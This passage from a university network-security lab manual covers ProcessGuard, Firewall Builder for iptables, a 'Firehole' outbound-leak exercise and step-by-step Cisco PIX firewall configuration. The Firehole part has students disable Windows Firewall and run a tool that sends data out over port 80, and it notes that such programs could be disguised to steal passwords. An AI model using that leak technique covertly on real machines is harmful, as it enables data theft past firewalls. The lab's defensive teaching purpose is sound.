actually no way that a victim can find out which machine is the packets are being sent from.
For this reason every machine should have there own firewall on, even though there is a
firewall setup for each network.
54
Appendix 1 –G
ProcessGuard
Since there are some ways to get around the firewalls and attack a machine in the
stealth mode, users are recommended to use some kind of task manager kind of
application to check and control various other application that might make the machine
vulnerable to the outside network. One of the software that can be used is ProcessGuard.
It runs under all new windows versions. A free trail version of this software can be found
in this following website,
http://www.diamondcs.com.au/?hop=gkweb



This software comes with some special features along with the classical task manager
application, such as –
ProcessGuard gives you full control over which programs are allowed to run.
It prevents even the stealthiest rootkit Trojan horses from being able to install malicious
drivers.
Virtually all known code/process-related attacks can be prevented, including keyloggers,
firewall leak tests, process termination, code and DLL injection, thread hijacking, and
Windows File Protection attacks.
Installation process:
1. Once you download the setup file from the web address give above, you should
execute the file.
2. This would start installation process.
3. Press next for several times in the next few windows. Once you are done installing
you’ll see the icon of the software in your system tray.
4. It is recommended that you reboot your system after installation.
5. After rebooting, double click on the program icon in the system tray. A window will
pop up.
55
Figure 9: Initial view of ProcessGuard
6. As this is trail version, you will won’t have the privilege to manipulate the machines
task in the memory level or globally.
7. Once you go in to the ‘Alert’ option, you’ll see a list of applications running. Select a
application and see the comments shown below for that application.
Figure 10: Alert option in ProcessGuard
8. When you go to the ‘Protection’ option, you’ll again see a list of programs and there
attributes. Here by selecting a program and right clicking on it, you can obtain the
options to manipulate various attributes. You can do the same thing by selecting the
application and setting the attribute shown below. You can also add new program
that is needed to be protected or set preferences.
56
Figure 11: Protection option in ProcessGuard
1. If you click on the ‘Security’ option you’ll see a list of programs. You can select each
program and right click on it. Then you can set the permission level for each
programs as desired.
Figure 12: Security option in ProcessGuard
57
Advantages:
The advantages with these software is that they are compatible to each other and they
don’t interfere in others tasks. Also these software are user friendly and easy to work with. The
best part is that it gives you the freedom to set different priorities to different applications. As
these software shows everything in GUIs, users can manipulate everything visually.
Conclusion:
These software are reliable for the time being. But everyday there are countless bugs and
vulnerabilities are found. To protect you machine, it is recommended to use the software that you
absolutely need to do a specific task. Unnecessary applications open extra ports that can attract
the hacker to get in. So, using these software you should set the permit level for your machine to
protect it.
58
Appendix 1-H
Lab 6 Additions
This lab explained how to set firewall rules to help secure a network using a few different
types of firewalls, including iptables in Linux. Although iptables is a very robust firewall, it can
be difficult to configure for someone just learning how it works. We found a program with a
GUI that allows a user to create rules for various types of firewalls, including iptables, in an easy
to use interface. The program is called Firewall Builder, and it can be found at
http://www.fwbuilder.org/. It runs on most operating systems, including Windows, Linux, and
Mac OS. The program allows you to build the firewall rules and create a script, then transfer the
file to the host running the firewall where it can be run to setup the firewall rules specified in
Firewall Builder. It also comes with preconfigured templates to help you get started.
To create the firewall rules for iptables we used the Windows version of Firewall Builder on our
Windows XP virtual machine. The rules that will be created allow the firewall to respond to
pings and to forward SSH traffic to a server on the local side. The script created was then
transferred over to our RedHat WS 4.0. The BlackHat and Protected virtual machines set up for
the first section of Lab 6 are used so this addition should be place somewhere after those have
been set up. The following steps were used to accomplish this:
 Copy the fwbuilder-2010-1.exe file to your Windows XP virtual machine and run the file
to install it. Use all the default settings for installation.
 Start the program from the Program Files list in the start menu.
 When the “Welcome to Firewall Builder” window comes up click on “Create new project
file”. Select a place to save the file. It is a good idea to create a new folder on the
desktop and save it in there. Click Next. Click Finish on the next window that comes up.
 On the left side, right click “Firewalls” and select “New Firewall”.
59

Enter a name for the firewall, like “iptables_firewall”, select iptables for the software
running, and select Linux 2.4/2.6 for the OS running the firewall. When the window
looks like the one below click Next.


Select “Configure interfaces manually” in the next window and click Next.
In the next window enter the values for Name, Label, Address, and Netmask as shown in
the screenshot below. When you enter the values for one interface click Add, then enter
the next set of values and click Add. Finally, click Finish once all the settings are correct.
60










You should now be back to the main Firewall Builder window. In the right side, find the
Addresses folder, located within the Objects folder. Right click on the Addresses folder
and select New Address.
In the new window that opens, enter “outside_IP” for the Name, and the IP address of the
outside interface (131.210.231.1) for the Address. Click Apply Changes then close the
address window. You should now see an item for ouside_IP under the Addresses folder.
Do the same to create a new address for the local server within the firewall. This server
will be the Protected virtual machine with an IP address of 192.168.0.10. Give it a name
of “local_server”.
Find the TCP folder under the Services folder on the left side of the main Firewall
Builder window. Right click on TCP and select New TCP Service.
In the TCP window that comes up, type “SSH” for the Name, 0 for Start and End under
the Source Port Range, and 22 for the Start and End under the Destination Port Range.
Click Apply Changes then close the window.
Create a new ICMP Service using the default ICMP settings, and name it Ping.
Click on the NAT tab. Right click in the NAT window and select “Insert Rule”.
Find the ouside_IP Address you created in the left side. Left click it and drag it to the
Original Dst section in the NAT rule. Drag the SSH TCP Service you created to the
Original Srv section. Drag the local_server Address you created to the Translated Src
section. Drag the SSH TCP Service to the Translated Srv section.
Click on the Policy Tab. Right click in the Policy window and select Insert Rule.
Drag the SSH Service to the Service section. Right click in the Action section and select
Accept.
61


In the Rules menu at the top select Add Rule Below.
In this new rule, drag the Ping service to the service section and change the action to
Accept. The Policy tab should now look similar to the screenshot below.


Save the settings by clicking the disk icon or selecting File, Save.
To build the iptables file with the settings created select Compile under the Rules menu at
the top, or click the icon for Compile Rules.
Find the newly created file. It will be located in the same place you created the Firewall
Builder project file. It will have the name “iptables_firewall.fw” if you followed the
directions given previously. Transfer this file to your RedHat WS 4.0 machine. If you
have a shared vmware folder setup already, that is an easy way to copy the file over.
On the RedHat WS 4.0 machine that is acting as the firewall, run the following command
to stop the firewall:
o /etc/rc.d/init.d/iptables stop
Run the following command from the location where the iptables_firewall.fw file is
located to enable the iptables rules created:
o ./iptables_firewall.fw
From the BlackHat virtual machine, try to ping the firewall’s external IP address
(131.210.231.55). The firewall should respond to these pings.
Now try to ssh into the server behind the firewall. Use the following command:
o ssh 131.210.231.1
Log in and try a few commands to see if they work. Type “ifconfig” to see the IP address
of the server you are connected to. It should be “192.168.0.10”, the server located inside
the firewall.






62
Here are some additional screenshots of Firewall Builder and us demonstrating the rules.
The main Firewall Builder window before any firewalls have been created.
The BlackHat machine pinging the firewall after applying the new rules.
63
The BlackHat machine connecting to the server inside the firewall using ssh.
64
Appendix 1-I
This addition is a continuation of the study on the effectiveness of firewalls in their default state.
We will launch a very simple program that sends an outbound message and demonstrate that the
default settings that are enabled after firewall installation are not strong enough to protect a user
from every attack. Then, we will discuss methods of preventing such attacks.
[This part would take place before any firewalls are installed.]
First, we will prove that the program works. Download the Firehole program from
http://keir.net/firehole.html. It is a small executable and requires no installation. Download it to
your Windows machine. Ensure that the Windows firewall is off doing the following:
Go to Start->My Network Places
On the left, click View Network Connections
Right click on the Local Area Connection and select Properties
Click the Advanced tab
Make sure the check box is unchecked.
Now, double click on the Firehole.exe program to launch it. It should look like this:
Now, replace the IP with the IP of your Red Hat WS4 machine and leave the port on 80. DO
NOT click Start yet. On your Red Hat WS4 machine, start the Apache web server that you
installed in one of the previous labs. (This is needed so the program has something to send the
message to.) Assuming the path is the same, the command will be:
/home/apache2/bin/apachectl start
Now, test that the server is running by trying to connect to it via the web browser on the
Windows machine. (Go to http://a.b.c.d/ where a.b.c.d is the IP address of your WS4 machine.)
Open Ethereal on the WS4 machine and start capturing packets. Return to the Windows VM and
press the Start button in Firehole. It should spawn an IE program and after a few seconds the
program should return a success. The author of the program notes that he/she could have easily
hidden the IE window, but decided not to just for the proof of concept. It’s worth noting that this
65
kind of program could be wrapped in some other, innocent looking program and launched in the
background, as seen in previous labs.
Go back to Ethereal, stop capturing packets, and look for the connection between the two
machines. If you follow the TCP-stream, you should see something similar to:
Notice the message at the top. We have just sent an outgoing message over a standard port (80).
Although in our case, the message contained nothing vital, it could very well have sent logged
passwords or files. This is a big problem that can’t simply be fixed by blocking a port, since in
this case, the port is 80. (This would block all web browsing from your machine!)
[Now continue with the lab until after RealSecure is installed, but not configured.]
Now, with the firewall running, attempt to run Firehole again.
Question: Where you successful? Why or why not?
Yes we were successful because all outbound traffic is allowed as a default for most firewall
settings.
Now, close Firehole and delete it. It is important that Firehole be removed from your system for
this step so that the firewall does not make a rule for it.
Within the RealSecure firewall, go to
Tools->Edit Settings
66
Application Control Tab
Click “Enable Application Protection”
The program will now make a baseline for your system. It will take about a minute. Once it is
done, select “Ask me what to do” for both options and click Apply and OK.
Now, download Firehole again and try to open it.
Question: Did anything happen?
Yes, RealSecure should have noticed the new program trying to launch and provided options to
continue or terminate.
Allow it to open (press the Continue button) and attempt to access the Internet. This attempt
should be blocked also.
Take a screenshot of the Firehole output and submit it.
So what have we done? We have told the firewall to watch for new programs attempting to
access the Internet. At this point, the user is aware of all new programs that might try to go
online. Ideally, the firewall would be installed right after a fresh OS install, and the baseline
could be setup from there. It’s worth noting that if Firehole were already installed before the
baseline was run, it wouldn’t be caught because RealSecure just makes a log of all the
executables and allows them access to the Internet. Now, every time a new or modified
application attempts to run and/or access the Internet, RealSecure will ask the user what to do.
This could get very annoying after some time, but that’s the price you pay for security.
67
Part 3 – Cisco PIX 515E
Introduction
A hardware firewall usually has at least three interfaces, although many early implementations
had two interfaces. It is still common to install a two-interface firewall. When using a firewall
that has three interfaces, at least three networks are created. The three areas that are created by
the firewall are described as follows:



Inside – The Inside is the trusted area of the internetwork. The devices on the
Inside are the organization's private network (or networks). These devices share a
common security policy relative to the Outside (the Internet) network. It is,
however, a common practice to have a firewall to segment the trusted
environment. If one department, such as Human Resources, needs to be protected
from the rest of the trusted users, a firewall may be used.
Outside – The Outside is the untrusted area of the internetwork. The firewall
secures the devices on the Inside and DMZ from the devices on the Outside. In
the course of doing business, organizations typically allow access to the DMZ
from the Outside.
DMZ (Demilitarized Zone) – The DMZ is an isolated network, or networks,
which is usually accessible to the Outside users. The firewall must be configured
to allow access from the Outside or Inside to the DMZ. The creation of a DMZ
allows an organization to make information and services available to Outside
users in a secure and controlled environment.
The hosts or servers that reside on the DMZ are commonly referred to as bastion hosts. In this
case, a bastion host is a host that is current with regard to its operating system and patches to that
operating system. The action of being current will usually make it less vulnerable to attack
because the vendor has fixed or "patched" any known security flaws. The bastion host is a host
that is running only those services necessary to make it perform its application duties.
Unnecessary (and sometimes more vulnerable) services are turned off or removed from the host.
Figure 3-1 illustrates this general network design.
.
.
Source: Chapman, D. W. and Fox, A., Cisco Secure PIX Firewalls, Cisco Press. 2002
68
Figure 3-1 – General Network Design Using a Firewall
The baseline perspective for a firewall is to perform the following functions:




Permit no access from the Outside to the Inside.
Permit limited access from the Outside to the DMZ
Permit all access from the Inside to the Outside.
Permit limited access from the Inside to the DMZ.
The PIX Command-Line Interface.
The PIX Firewall contains a command set similar but not identical in syntax to the Cisco
.
Source: Chapman, D. W. and Fox, A., Cisco Secure PIX Firewalls, Cisco Press. 2002
69
IOS command set. When accessing a specific command, you must be in the proper mode (for
that particular command) to access that particular command. The PIX provides four
administrative access modes:
 Unprivileged Mode – This mode is available when first accessing the PIX Firewall. This
mode is frequently referred to as user EXEC mode. The> prompt is displayed. This mode
lets you view a subset of all commands available. A user cannot make configuration
changes if unprivileged mode is the only mode accessible.
 Privileged Mode – This mode displays the # prompt and enables you to change the
current settings. Any unprivileged command also works in privileged mode. Once you
have access to privileged mode, you have access to configuration mode.
 Configuration Mode – This mode displays the (config)# prompt and enables you to
change system configurations. All privileged, unprivileged, and configuration commands
work in this mode.
 Monitor Mode – PIX Firewalls have a special mode called the monitor mode that
permits you to perform special tasks that could otherwise not be performed like updating
an image over the network.
Table 1 – Distinctive PIX Prompt for Administrative Modes
Mode
Unprivileged mode
Privileged mode
Configuration mode
Monitor mode
Prompt
pixfirewall>
pixfirewall#
pixfirewall(config)#
monitor>
Within each access mode, you can abbreviate most commands down to the minimum length
needed to make them unique. For example, you can enter wr t to view the configuration instead
of entering the full command, write terminal. Additional examples are to enter en instead of
enable to start privileged mode and co t instead of configuration terminal to start configuration
mode. Help information is available from the PIX Firewall command line by entering help or ?
to list all commands. If you enter help or ? after a command (for example, route?), the
command syntax is listed. The number of commands listed when using the help (?) command
differs by access mode. In addition, you can enter any command by itself on the command line
and then press Enter to view the command syntax.
Note – A configuration file may be created offline using a text editor. A user may then copy and
paste it into the PIX configuration. The PIX allows entire configuration to be input this way or
one line at a time.
A list of useful commands, while using the PIX user interface is given in Appendix A.
70
ASA Security Levels.
The security level designates whether an interface is inside (trusted) or outside (untrusted)
relative to another interface. An interface is considered inside in relation to another interface if
its security level is higher than the other interface's security level and is considered outside in
relation to another interface if its security level is lower than the other interface's security level.
The primary rule for security levels is this:
Once the PIX is configured with the six basic commands, data may enter the PIX through
an interface with a higher security level, pass through the PIX, and exit via an interface
with a lower security level. Conversely, data that enters an interface with a lower security
level cannot pass through the PIX and exit via an interface with a higher security level
without a conduit or an access list (which is discussed later).
Security levels range from 0 to 100, and the following are more specific rules for these security
levels:
 Security level l00 – This is the highest security level for an interface. It is used for the
inside interface of the PIX Firewall. This is the default setting for the PIX Firewall and
cannot be changed. Because 100 is the most trusted interface security level, the
organization's network should be set up behind that interface.
 Security level 0 – This is the lowest security level. This security level is used for the
outside interface of the PIX Firewall. This is the default setting for the PIX Firewall and
cannot be changed. Because 0 is the least trusted interface security level, the most
untrusted network should be behind this interface.
 Security levels 1-99 – These security levels can be assigned to the perimeter interfaces
connected to the PIX Firewall. It is common to connect one of these perimeter interfaces
to a network that acts as a demilitarized zone (DMZ). A DMZ is a device or network that
is (usually) accessible to users from the untrusted environment. The DMZ is an isolated
area, separate from the internal, trusted environment. Figure 3-2 is an example of a threeinterface PIX Firewall.
Figure 3-2 – PIX Security levels.
.
Source: Chapman, D. W. and Fox, A., Cisco Secure PIX Firewalls, Cisco Press. 2002
71
PIX interface
The basic commands to be used in the PIX command interface are shown in Appendix A. Go
over these commands at this time and keep them in mind when you are doing the lab exercises.
You will need most of them at that time. For example, the enable command will be used to get
started with the firewall. It provides entrance to the privileged access modes. The configure
terminal command is used to move from the privileged mode to the configuration mode. The
command prompt in the mode is (config)# .You can also use the hostname command to change
the hostname label on the prompts (e.g. hostname newname ). Now let’s try to configure the
firewall for the network setup in the lab.
Network setup
You will need to understand the structure of the Mini-net in the lab, to complete this lab. The
diagram describing the Mini-net should be attached to the lab handout. There are six autonomous
systems – 4 Tier 2 systems and 2 Tier 1 systems. The firewall is located in the Enterprise – Cisco
system. It is marked as the “Edge-fwall” in the diagram. You should be able to figure out the
network and host address of the routers and interfaces from the diagram. If you’re having trouble
reading the diagram, you can ask a TA for help.
NOTE: It is important that you access the firewall only during your reserved slot.
Accessing the firewall, while some other group is doing their lab, will mess up the
configuration and both of you will have to start over.
Connection to the Firewall
On your host machine, use the following command:
ifconfig eth0:0 192.168.254.x where x is the last octet of the first ip address you were assigned.
Now ssh into the playstation1 setup using the following command:
ssh playstation1@192.168.254.2
The password is “playstation1”
Once you enter the password, you’ll see a port access menu. This menu lists all the ports the
console manager is connected to. The port for firewall is 12. So press 12 and then Enter. Press
Enter a couple of times and you’ll see the prompt for the Cisco firewall.
Initial Configuration
We’ll be starting from scratch so let’s first reset the firewall and put it back into its original
factory settings. The current configuration is stored in the flash memory. The write erase
command erases this configuration in the memory. Next, you have to type the reload command.
72
Since there is no configuration in memory, the firewall reverts to its original settings. Initially
you’ll see the hostname set by the previous group, and the “>” prompt. In the commands given
below, the “>” and the “#” sign refer to the prompts. Type them in to configure the firewall.
Step 1
To enter the privileged mode, type
> enable
Password: <Press ENTER>
The prompt changes to #
Enter the following commands in front of the TA.
# write erase
Erase PIX configuration in flash memory? [confirm]: <Press ENTER>
# reload
Proceed with reload? [confirm] : <Press ENTER>
The firewall will reboot. Once it reboots, you’ll see the following question,
Pre-configure PIX Firewall now through interactive prompts [yes]? <Type no
and ENTER>
Now you’ll see the default firewall prompt
pixfirewall>
Have the TA sign the answer sheet in section 3.
You’ll be typing all the commands at this prompt now. Go over the configuration commands
given in Appendix B at this time. You’ll be using them in this section.
Step 2
Now, type in the commands given below.
pixfirewall> enable
Password: <ENTER>
pixfirewall#
pixfirewall# configure terminal
pixfirewall(config)# hostname pixGxx
Can also type config t as a for short.
where xx is your group number, so
pixG10 for group 10. This is just
for convention.
So for group 10, the prompt will now change to
pixG10(config)#
Step 3
In this step, we will use the nameif command to configure interface 2 as the dmz interface.
Remember, interface 0 is defined as outside by default and interface 1 is inside by default. Go
over the nameif command in appendix B to know how to use it.
73
Now type the following
pixGxx(config)# nameif e2 dmz security50
pixGxx(config)# show nameif
nameif ethernet0 outside security0
nameif ethernet1 inside security100
nameif ethernet2 dmz security50
Step 4
The interfaces will be enabled in this step to bring them up. They will be set for auto sensing
10/100 communications. Use the show interface command to display information about the
interfaces.
pixGxx(config)# interface e0 auto
pixGxx(config)# interface e1 auto
pixGxx(config)# interface e2 auto
pixGxx(config)# show interface
There will be configuration information printed out about each interface. The important things to
note here is the first line about each interface.
interface ethernet0 “outside” is up, line protocol is up
interface ethernet1 “inside” is up, line protocol is up
interface ethernet2 “dmz” is up, line protocol is up
Step 5
It’s time now to assign IP address to the three interfaces. If you look closely at the firewall in the
Mini-net diagram, you’ll see the IP address for the three interfaces.
74
Figure 3-3 – Close-up of the firewall in the Mini-net diagram. Note the addresses for the
three interfaces.
Now assign these addresses to the interfaces using the following commands.
pixGxx(config)# ip address outside <IP ADDRESS> 255.255.255.0
pixGxx(config)# ip address inside <IP ADDRESS> 255.255.255.0
pixGxx(config)# ip address dmz <IP ADDRESS> 255.255.255.0
List the addresses that you assigned to the interfaces, below.
Check to make sure you assigned the right address by using the following command.
pixGxx(config)# show ip address
75
It’ll list the current IP addresses for the three interfaces.
Step 6
If everything looked fine in the last step, you should save the configuration into the flash
memory. You won’t have to do this part again for the rest of the lab.
pixGxx(config)# write memory
Building configuration…
Cryptochecksum: 7af5c680 748b5ada 2eee0daa ab8fd68f
[OK]
pixGxx(config)#
At this point you have correctly setup the network. There are some concepts and commands that
have to be explained before you can proceed further.
Network Address Translation
Network Address Translation (NAT) enables the user to keep internal IP addresses (those behind
the PIX Firewall) unknown to external networks. NAT accomplishes this by translating the
internal, unregistered IP addresses, which are not globally unique, into registered, globally
accepted IP addresses before packets are forwarded to the external network. NAT is
implemented in the PIX Firewall with the nat and global commands.
When an outbound IP packet that is sent from a device on the inside network reaches the PIX
Firewall, the source address is extracted and compared to an internal table of existing
translations. If the device’s address is not already in the table, it is then translated. A new entry is
created for that device and it is assigned a global IP address from a pool of global IP addresses.
This global pool can be configured with the global command. After this translation occurs, the
table is updated and the translated IP packet is forwarded. After a user-configurable timeout
period ( or the default of 3 hours), during which there have been no translated packets for that
particular IP address, the entry is removed from the table and the global address is freed from use
by another inside device.
The global is used to assign a registered or public IP address to an internal host when accessing
the outside network through the firewall. It can also be used to assign a pool of global IP
addresses. The basic syntax of the command is given below. A more complete description can be
found in Appendix B. Go over it once you’ve read this section to understand the command
properly.
global [(if_name)] nat_id {global_ip [-global_ip] [netmask global_mask]}
Here, the nat_id is used to identify the particular pool of global IP addresses that are assigned.
This nat_id should correspond to the nat_id used in the nat command, shown below.
76
The nat command can specify translation for a single host or a range of hosts. The basic syntax
of the command is given below. A more complete description can be found in Appendix B. Go
over it once you’ve read this section to understand the command properly.
nat [(if_name)] nat_id address [netmask]
The nat_id in this command should be the same as the one defined in the global command.
As shown in the example, below, you can also enable translation for all inside hosts making
outbound connections with the nat 1 0.0.0.0 0.0.0.0 command. This can be shortened to nat 1 0
0.
Example:
pixGxx(config)# nat (inside) 1 0.0.0.0 0.0.0.0
This command translates all the internal IP addresses into the global pool of addresses with
nat_id 1 (defined in the global command).
The route command can be used to setup a default route for packets going through the firewall.
So, packets going to the outside interface can be set to go through a default router on the outside.
The IP address of one of the PIX Firewall’s interfaces can also be used as a gateway router. So,
for the internal network, the address of the inside interface can be set as the default gateway. In
the lab, we use the OSPF protocol to configure the routers. Therefore, we will use the router
command to have the firewall advertise its interface as the default gateway. It will configure the
firewall interfaces to act like routers using the OSPF protocol.
Now that you’ve had an overview of the configuration commands to be used, let’s go ahead and
configure the firewall further.
Configure Global Addresses, NAT, and Routing for Inside and Outside Interfaces
Follow the steps below to configure the firewall.
Step 7
Assign a pool of registered IP address for use by the outbound connections. If you look at the
Mini-net diagram, you can see that these addresses will be in the network 212.43.0.0/24. Let’s
choose the range 212.43.0.100 – 212.43.0.199. The nat ID is 1. On the dmz the global IP range is
192.168.0.200-192.168.0.250. The nat ID is again 1. Because both the dmz and outside use a nat
ID of 1, the internal IP’s can be translated to those in either global pool.
pixGxx(config)# global (outside) 1 212.43.0.100–212.43.0.199 netmask
255.255.255.0
pixGxx(config)# global (dmz) 1 192.168.0.200-192.168.0.250 netmask
255.255.255.0
pixGxx(config)# show global
global (outside) 1 212.43.0.100–212.43.0.199 netmask 255.255.255.0
global (dmz) 1 192.168.0.200-192.168.0.250 netmask 255.255.255.0
77
Step 8
Let’s assign these pools of addresses to a nat for internal addresses.
pixGxx(config)# nat (inside) 1 0 0
This will allow all inside hosts to use NAT for outside and dmz access.
Display this configuration with
pixGxx(config)# show nat
nat (inside) 1 0.0.0.0 0.0.0.0 0 0
Make sure that the nat ID, in the global and nat commands, matches. That allows you to have
multiple nat pools. So, nat pool 1 could be used for hosts from subnet A, and nat pool 2 could be
used for hosts from subnet B.
Step 9
In order to direct traffic to other networks, you need to configure the router functionality.
pixGxx(config)# router ospf 1
pixGxx(config-router)# network 212.43.0.0 255.255.255.0 area 0
pixGxx(config-router)# log-adj-changes
pixGxx(config-router)# exit
pixGxx(config)# router ospf 2
pixGxx(config-router)# network 172.16.2.0 255.255.255.0 area 0
pixGxx(config-router)# log-adj-changes
pixGxx(config-router)# default-information originate always
pixGxx(config-router)# exit
pixGxx(config)# show router
router ospf 1
network 212.43.0.0 255.255.255.0 area 0
log-adj-changes
router ospf 2
network 172.16.2.0 255.255.255.0 area 0
log-adj-changes
default-information originate always
pixGxx(config)#
These commands configured the firewall to act as an OSPF based router for the inside and
outside interfaces.
Step 10
Now let’s save the configuration to memory.
pixGxx(config)# write memory
At this time you can check that you entered the right command by typing
78
pixGxx(config)# show history
You can also check the current configuration by typing
pixGxx(config)# write terminal
This will show you complete configuration in memory. It will have a lot of additional settings
that you can look at.
Step 11
First check that you have proper connectivity by pinging each of the interfaces of the firewall
from the firewall.
pixGxx(config)# ping <INSIDE INTERFACE IP>
pixGxx(config)# ping <OUTSIDE INTERFACE IP>
pixGxx(config)# ping <DMZ INTERFACE IP>
Q3.1. Can you ping each of these?
Now, ping hosts in the inside, dmz and outside domains. A machine called R2 has been setup on
the inside network. It can be seen on the Mini-net diagram. The address for this machine is
172.16.2.99. The IP for the web server in the dmz zone can be seen from the Mini-net diagram.
For the outside zone, you can choose any of the routers. Can you ping each of these?
Now type the command below. The meaning of this command will be explained in the next
section.
pixGxx(config) # access-list DMZ permit icmp any any
pixGxx(config) # access-group DMZ in interface dmz
It’s time to check your configuration to see if allows access from the inside.
You can access the R2 machine by using the server terminal in the server rack. R2 machine is
located on switch number 2 on the KVM machine behind the terminal screen. Answer the
following questions as you perform the tests.
Q3.2. Can you ping the address of the server (192.168.0.10) ?
Start the web browser and see if you can access the web server in the dmz zone. Type in the IP
address of the server as http://192.168.0.10 . Can you see the default web site? This is the same
as telneting to port 80 of this machine.
Go back to the firewall terminal and type
pixGxx(config)# show xlate
(or show xlate detail)
Q3.3. What does this command show? What does it mean?
79
Now check if you can access hosts on the outside interface. Using the mini-net network diagram
as a guide, ping one of the edge routers on the 212.43.0.0/16 network (for example, you can ping
212.43.0.1).
Let’s see if we can access things from the outside. Can you ping the web server (R1) in the dmz
zone, from your Red Hat WS 4.0 host machine?
Q3.4. Try to access it from a web browser and see if you can do that. You could also telnet to
port 80 and check this. Can you do it?
Q3.5. Finally, can you ping the R2 terminal machine from the outside?
Q3.6. Describe how the firewall is configured at this point. What type of packets does it allow or
disallow and from where? You can draw diagrams to explain this better.
Configuring access to the DMZ zone from Outside
To allow access connections from an interface with a lower security level to an interface with a
higher security level, the static and conduit commands can be used.
The static command creates static mapping between an inside IP address (in this case it means
behind the firewall – inside interface or dmz interface) and a global IP address. Using the static
command enables you to set a permanent global IP address for a particular inside IP address.
This creates an entrance for the specified interfaces with the lower security level into the
specified interface with a higher security level.
After creating a static mapping between an inside IP address and a global IP address by using the
static command, the connection from the outside interface to the dmz or inside interface is still
blocked by the PIX Firewall’s Adaptive Security Algorithm (ASA). The conduit command can
be used now to allow traffic to flow between the interfaces. This command creates the exceptions
to the PIX Firewall’s ASA. However, the conduit command is obsolete in versions 6.2 and later
of the PIX software. A better alternative is the access-list command to create Access Control
Lists. The only reason conduit is still supported is to maintain backwards compatibility with
previous versions of PIX. In this lab, we will use the access-list command along with the accessgroup command to configure the firewall.
Access Control List
An ACL enables you to determine what traffic will be allowed or denied through the PIX
Firewall. It is a list kept by routers and the PIX Firewall to control access to and from the router
or firewall (for example, to prevent packets with a certain IP address from leaving a particular
interface). ACLs are applied per interface, which means that inbound traffic is analyzed relative
to the interface.
80
An ACL can be created with the access-list command. It enables you to specify if an IP address
is permitted or denied access to a port or protocol. By default, all access in an access list is
denied. You must explicitly permit it.
The format of the access-list command is shown below
access-list acl_IND deny | permit protocol source_addr dource_mask [operator port[port]]
destination_addr destination_mask operator port[port]
When specifying the IP address of a host as a source or destination, use the host keyword instead
of the network mask 255.255.255.255. For example, use the following ACL entry to permit FTP
traffic to host 192.168.1.1:
access-list SAMPLEACL permit tcp any host 192.168.1.1 eq ftp
A more detailed explanation of this format is given in Appendix B. You can also consult Cisco
web resources listed, to gain more information.
The no access-list command removes an access-list command from the configuration. For
example, no access-list SAMPLEACL
The access-group command binds the ACL to a specific interface on the Firewall. The ACL is
applied to the traffic inbound on that interface. Only one ACL can be bound to an interface using
this command.
The no access-group command unbinds the acl_ID from the interface. For example, no accessgroup acl_ID in interface interface_name
Now follow the steps given below to allow access to the web server in the DMZ zone.
Step 12
First we have to create a static, permanent mapping of the web server’s address to a global
address on the outside interface. This is done using the static command. The format and
explanation for this command are given in Appendix B. Further information can be obtained
from the Cisco web resources, listed in the lab.
Type in the following:
pixGxx(config)# static (dmz, outside) 212.43.0.x 192.168.0.10
where x is the last octet of the first assigned ip address.
Q3.7.Write the address of the web server, for the outside interface, below.
Now type
81
pixGxx(config)# show static
static (dmz,outside) 212.43.0.x 192.168.0.10 netmask 255.255.255.255 0 0
Create an Access Control List
pixGxx(config)# access-list ACLDMZ permit tcp any host 212.43.0.x eq www
Now add commands to permit inbound ICMP echo traffic to the server. All other traffic from
outside will be denied by the implicit deny.
pixGxx(config)# access-list ACLDMZ permit icmp any host 212.43.0.x
Let’s bind this ACL to the outside interface.
pixGxx(config)# access-group ACLDMZ in interface outside
Display the access list and observe the hit counts.
pixGxx(config)# show access-list
...
access-list cached ACL log flows: total 0, denied 0 (deny-flow-max 1024)
alert-interval 300
access-list ACLDMZ; 2 elements
access-list ACLDMZ line 1 permit tcp any host 212.43.0.x eq www (hitcnt=3)
access-list ACLDMZ line 2 permit icmp any host 212.43.0.x (hitcnt=23)
Save your configuration
pixGxx(config)# write memory
Step 13
Check your configuration now by going to the terminal on the outside interface and accessing
the address of the web server on the dmz interface that you defined. So if the address that you
mapped the server to was 212.43.0.6, type wget http://212.43.0.6. wget does the same thing a
web browser does, just without graphically displaying the index.html file. You can also do the
same thing by telnet 212.43.0.x 80
Q3.8.Were you able to connect to the server from the outside? Can you ping this server from the
outside?
So, that’s it. If you can get access, you were able to configure a Cisco PIX firewall for basic
functionality. Again describe the current configuration of the firewall.
Q3.9.What kind of traffic does it allow and from where to where? You can draw diagrams to
explain this.
Turn in a printout of the output of the command, given below, with your lab.
82
pixGxx(config)# write terminal
Q3.10. This was very simple network architecture, designed to give you a brief overview of how
Cisco PIX Firewalls work. How does the Cisco PIX firewall differ from Linux ipchains
capability that we looked at before? By looking on the web, determine which firewall
methodology is common in industry and why. Summarize your conclusion here and give
references to justify your answer.
83
Appendix 3-A
Commands for maintaining and testing the PIX Firewall.









enable – If the password is known, the enable command allows a user to enter privileged
mode. After entering enable, the PIX Firewall will prompt the user for the privileged
mode password. To exit and return to the previous mode, use the disable, exit, or quit
command. The command to set this password is enable password password. The
password is encrypted within the configuration file.
configure terminal – It you want to interactively change the configuration of the PIX,
issue the configure terminal command. Any added configuration parameters are merged
with the existing running configuration. When making a configuration change to the PIX,
the change takes effect immediately and is saved in the running configuration in RAM.
show configure – This displays the configuration that is stored in Flash memory
(sometimes called the "startup configuration") on the terminal. Because Flash is nonvolatile, the configuration that is stored there is not removed if the PIX loses power or is
reloaded. The startup configuration is what the PIX loads to RAM during bootup.
show interface – The show interface command enables users to view information about
the interface. Ethernet, Token Ring, and FDDI information is displayed, depending on
which is installed on the PIX Firewall. This is one of the first commands to input when
trying to establish connectivity.
write terminal – Displays the running configuration (sometimes called the current
configuration) on the terminal. This configuration is stored in RAM.
write net – Stores the running configuration file on a TFTP server. It is good practice to
keep a backup of all configuration files offline. When a server IF address and a file path
are assigned, the running configuration is stored to a specific location.
write erase – This clears the configuration file that is in Flash memory.
write memory – Any change that is made to the PIX takes effect immediately. The
change is written to the running configuration in RAM. If a change is meant to be kept on
the PIX, it should be saved to Flash memory using the write memory command. The use
of this command will replace the existing configuration in Flash with the configuration in
RAM. The configuration in RAM remains unchanged. Processing continues during the
write memory command, but the write memory command is not disruptive to the
processing of the PIX. You cannot make changes to the configuration while the write
memory command is executing.
show ip address – The show ip address command enables a user to view which IP
addresses have been assigned to the network interfaces. In the displayed output, the
current IP addresses are the same as the system IP addresses on the failover active unit.
84
Appendix 3-B
Basic configuration commands of the PIX interface
nameif Command
The command nameif assigns a name to each interface on the PIX Firewall and specifies
its security level (except for the inside and outside PIX Firewall interfaces, which are
named by default).
NOTE – With the default configuration, Ethernet0 is named “outside” with a security
level of 0 and Ethernetl is named “inside” and is assigned a security level of 100.
nameif hardware_id if_name security_level
